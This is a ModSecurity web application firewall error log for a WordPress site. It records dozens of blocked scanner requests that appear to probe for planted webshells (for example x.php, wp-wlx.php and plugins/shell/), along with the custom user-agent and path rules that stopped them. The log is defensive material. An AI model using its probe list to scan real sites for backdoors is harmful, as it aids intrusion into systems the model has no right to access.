[Tue Mar 24 01:48:27.718389 2026] [:error] [pid 56236:tid 56306] [client 194.5.82.102:46663] [client 194.5.82.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "acF863apFgYp0uZ8twAsiQAAAE0"]
[Tue Mar 24 01:48:27.901989 2026] [:error] [pid 56435:tid 56499] [client 194.5.82.81:33951] [client 194.5.82.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/images/"] [unique_id "acF868rwr-l5A-s9ryCQAQAAAQA"]
[Tue Mar 24 01:48:28.084757 2026] [:error] [pid 56238:tid 56350] [client 194.5.82.78:31855] [client 194.5.82.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "acF87FSqceFAZRgPDq6umQAAAMI"]
[Tue Mar 24 01:48:28.264869 2026] [:error] [pid 56237:tid 56323] [client 194.5.82.102:39047] [client 194.5.82.102] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "acF87AymO0MnzQb90MMy4gAAAII"]
[Tue Mar 24 01:48:28.450188 2026] [:error] [pid 31798:tid 31817] [client 194.5.82.87:34971] [client 194.5.82.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "acF87HdtW_1bksndFbY5KgAAABE"]
[Tue Mar 24 01:48:28.652957 2026] [:error] [pid 56236:tid 56310] [client 194.5.82.69:41427] [client 194.5.82.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/"] [unique_id "acF87HapFgYp0uZ8twAsjAAAAFE"]
[Tue Mar 24 01:48:28.845873 2026] [:error] [pid 31798:tid 31804] [client 194.5.82.94:36013] [client 194.5.82.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/mediaelement/"] [unique_id "acF87HdtW_1bksndFbY5LAAAAAQ"]
[Tue Mar 24 01:48:29.027788 2026] [:error] [pid 56236:tid 56302] [client 194.5.82.59:60061] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/"] [unique_id "acF87XapFgYp0uZ8twAsjQAAAEk"]
[Tue Mar 24 01:48:29.207135 2026] [:error] [pid 31798:tid 31812] [client 194.5.82.91:49659] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/"] [unique_id "acF87XdtW_1bksndFbY5LgAAAAw"]
[Tue Mar 24 01:48:29.387675 2026] [:error] [pid 31798:tid 31809] [client 194.5.82.81:24665] [client 194.5.82.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/"] [unique_id "acF87XdtW_1bksndFbY5MAAAAAk"]
[Tue Mar 24 01:48:29.568273 2026] [:error] [pid 31798:tid 31820] [client 194.5.82.85:51621] [client 194.5.82.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "acF87XdtW_1bksndFbY5MQAAABQ"]
[Tue Mar 24 01:48:29.749039 2026] [:error] [pid 31798:tid 31823] [client 194.5.82.72:36741] [client 194.5.82.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/"] [unique_id "acF87XdtW_1bksndFbY5NAAAABc"]
[Tue Mar 24 01:48:29.928740 2026] [:error] [pid 56236:tid 56316] [client 194.5.82.100:39219] [client 194.5.82.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/"] [unique_id "acF87XapFgYp0uZ8twAsjgAAAFc"]
[Tue Mar 24 01:48:30.109947 2026] [:error] [pid 56435:tid 56515] [client 194.5.82.88:56425] [client 194.5.82.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/shell/"] [unique_id "acF87srwr-l5A-s9ryCQCAAAAQ4"]
[Tue Mar 24 01:48:30.289935 2026] [:error] [pid 31798:tid 31818] [client 194.5.82.67:47123] [client 194.5.82.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/private/"] [unique_id "acF87ndtW_1bksndFbY5NgAAABI"]
[Tue Mar 24 01:48:30.470975 2026] [:error] [pid 56236:tid 56314] [client 194.5.82.57:32047] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/filester/assets/css/404.php"] [unique_id "acF87napFgYp0uZ8twAskAAAAFU"]
[Tue Mar 24 01:48:30.653386 2026] [:error] [pid 31798:tid 31804] [client 194.5.82.89:55947] [client 194.5.82.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acF87ndtW_1bksndFbY5NwAAAAQ"]
[Tue Mar 24 01:48:30.904211 2026] [:error] [pid 56435:tid 56505] [client 194.5.82.103:63485] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "acF87srwr-l5A-s9ryCQCgAAAQY"]
[Tue Mar 24 01:48:31.094327 2026] [:error] [pid 31798:tid 31807] [client 194.5.82.56:63529] [client 194.5.82.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "acF873dtW_1bksndFbY5OQAAAAc"]
[Tue Mar 24 01:48:31.275710 2026] [:error] [pid 31798:tid 31822] [client 194.5.82.55:54295] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "acF873dtW_1bksndFbY5OgAAABY"]
[Tue Mar 24 01:48:31.460902 2026] [:error] [pid 31798:tid 31820] [client 194.5.82.84:59481] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/"] [unique_id "acF873dtW_1bksndFbY5PQAAABQ"]
[Tue Mar 24 01:48:31.652281 2026] [:error] [pid 56237:tid 56339] [client 194.5.82.104:60817] [client 194.5.82.104] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/Core/"] [unique_id "acF87wymO0MnzQb90MMy5gAAAJI"]
[Tue Mar 24 01:48:31.837451 2026] [:error] [pid 31798:tid 31815] [client 194.5.82.79:64461] [client 194.5.82.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "acF873dtW_1bksndFbY5PwAAAA8"]
[Tue Mar 24 01:48:32.016597 2026] [:error] [pid 56236:tid 56309] [client 194.5.82.168:44197] [client 194.5.82.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/"] [unique_id "acF88HapFgYp0uZ8twAskQAAAFA"]
[Tue Mar 24 01:48:32.195638 2026] [:error] [pid 56237:tid 56344] [client 194.5.82.64:56429] [client 194.5.82.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comment-content/"] [unique_id "acF88AymO0MnzQb90MMy6gAAAJc"]
[Tue Mar 24 01:48:32.380049 2026] [:error] [pid 56435:tid 56502] [client 194.5.82.68:52757] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "acF88Mrwr-l5A-s9ryCQDAAAAQM"]
[Tue Mar 24 01:48:32.567359 2026] [:error] [pid 56236:tid 56298] [client 194.5.82.104:28979] [client 194.5.82.104] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-wlx.php"] [unique_id "acF88HapFgYp0uZ8twAslAAAAEU"]
[Tue Mar 24 01:48:32.812166 2026] [:error] [pid 56236:tid 56300] [client 194.5.82.87:47389] [client 194.5.82.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/plugins/"] [unique_id "acF88HapFgYp0uZ8twAslgAAAEc"]
[Tue Mar 24 01:48:32.994642 2026] [:error] [pid 56435:tid 56516] [client 194.5.82.59:40641] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/nextpage/"] [unique_id "acF88Mrwr-l5A-s9ryCQDgAAAQ8"]
[Tue Mar 24 01:48:33.174277 2026] [:error] [pid 56435:tid 56499] [client 194.5.82.79:52689] [client 194.5.82.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/includes/"] [unique_id "acF88crwr-l5A-s9ryCQDwAAAQA"]
[Tue Mar 24 01:48:33.358401 2026] [:error] [pid 31798:tid 31804] [client 194.5.82.71:21617] [client 194.5.82.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "acF88XdtW_1bksndFbY5QwAAAAQ"]
[Tue Mar 24 01:48:33.538067 2026] [:error] [pid 31798:tid 31807] [client 194.5.82.68:56323] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "acF88XdtW_1bksndFbY5RAAAAAc"]
[Tue Mar 24 01:48:33.719920 2026] [:error] [pid 31798:tid 31802] [client 194.5.82.167:56831] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/buy.php"] [unique_id "acF88XdtW_1bksndFbY5RwAAAAI"]
[Tue Mar 24 01:48:33.897932 2026] [:error] [pid 56435:tid 56515] [client 194.5.82.101:53943] [client 194.5.82.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "acF88crwr-l5A-s9ryCQEwAAAQ4"]
[Tue Mar 24 01:48:34.076696 2026] [:error] [pid 56238:tid 56356] [client 194.5.82.98:52447] [client 194.5.82.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/image/"] [unique_id "acF88lSqceFAZRgPDq6ungAAAMg"]
[Tue Mar 24 01:48:34.256461 2026] [:error] [pid 31798:tid 31803] [client 194.5.82.59:63189] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-themes.php"] [unique_id "acF88ndtW_1bksndFbY5SgAAAAM"]
[Tue Mar 24 01:48:34.435864 2026] [:error] [pid 56238:tid 56365] [client 194.5.82.71:40895] [client 194.5.82.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/"] [unique_id "acF88lSqceFAZRgPDq6uoQAAANE"]
[Tue Mar 24 01:48:34.615992 2026] [:error] [pid 56238:tid 56349] [client 194.5.82.98:24933] [client 194.5.82.98] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/light/"] [unique_id "acF88lSqceFAZRgPDq6uogAAAME"]
[Tue Mar 24 01:48:34.797805 2026] [:error] [pid 56238:tid 56363] [client 194.5.82.60:30437] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "acF88lSqceFAZRgPDq6uowAAAM8"]
[Tue Mar 24 01:48:34.978208 2026] [:error] [pid 56435:tid 56508] [client 194.5.82.72:39657] [client 194.5.82.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/"] [unique_id "acF88srwr-l5A-s9ryCQFgAAAQg"]
[Tue Mar 24 01:48:35.160689 2026] [:error] [pid 56238:tid 56353] [client 194.5.82.76:54741] [client 194.5.82.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "acF881SqceFAZRgPDq6upQAAAMU"]
[Tue Mar 24 01:48:35.366195 2026] [:error] [pid 56435:tid 56516] [client 194.5.82.64:29367] [client 194.5.82.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "acF888rwr-l5A-s9ryCQGQAAAQ8"]
[Tue Mar 24 01:48:35.559986 2026] [:error] [pid 31798:tid 31800] [client 194.5.82.86:33237] [client 194.5.82.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wa/"] [unique_id "acF883dtW_1bksndFbY5TQAAAAA"]
[Tue Mar 24 01:48:35.741525 2026] [:error] [pid 31798:tid 31805] [client 194.5.82.84:57613] [client 194.5.82.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "acF883dtW_1bksndFbY5TwAAAAU"]
[Tue Mar 24 01:48:35.922043 2026] [:error] [pid 31798:tid 31807] [client 194.5.82.63:50555] [client 194.5.82.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/radio.php"] [unique_id "acF883dtW_1bksndFbY5UAAAAAc"]
[Tue Mar 24 01:48:36.102921 2026] [:error] [pid 56435:tid 56510] [client 194.5.82.92:59223] [client 194.5.82.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/template-singl-portfolio.php"] [unique_id "acF89Mrwr-l5A-s9ryCQHAAAAQo"]
[Tue Mar 24 01:48:36.285612 2026] [:error] [pid 56435:tid 56515] [client 194.5.82.86:54509] [client 194.5.82.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/404.php"] [unique_id "acF89Mrwr-l5A-s9ryCQHwAAAQ4"]
[Tue Mar 24 01:48:36.468607 2026] [:error] [pid 56435:tid 56521] [client 194.5.82.95:39255] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/widgets/"] [unique_id "acF89Mrwr-l5A-s9ryCQIAAAARQ"]
[Tue Mar 24 01:48:36.649041 2026] [:error] [pid 31798:tid 31802] [client 194.5.82.59:55973] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "acF89HdtW_1bksndFbY5UgAAAAI"]
[Tue Mar 24 01:48:36.832104 2026] [:error] [pid 56435:tid 56502] [client 194.5.82.72:64985] [client 194.5.82.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "acF89Mrwr-l5A-s9ryCQJQAAAQM"]
[Tue Mar 24 01:48:37.012337 2026] [:error] [pid 56236:tid 56299] [client 194.5.82.55:51961] [client 194.5.82.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/"] [unique_id "acF89XapFgYp0uZ8twAsngAAAEY"]
[Tue Mar 24 01:48:37.192244 2026] [:error] [pid 56236:tid 56304] [client 194.5.82.82:34639] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/themes/about.php"] [unique_id "acF89XapFgYp0uZ8twAsnwAAAEs"]
[Tue Mar 24 01:48:37.376046 2026] [:error] [pid 31798:tid 31821] [client 194.5.82.82:44431] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mah/function.php"] [unique_id "acF89XdtW_1bksndFbY5VAAAABU"]
[Tue Mar 24 01:48:37.557277 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.99:64907] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "acF89crwr-l5A-s9ryCQJwAAAQQ"]
[Tue Mar 24 01:48:37.741409 2026] [:error] [pid 56236:tid 56313] [client 194.5.82.63:21685] [client 194.5.82.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/column/"] [unique_id "acF89XapFgYp0uZ8twAsoQAAAFQ"]
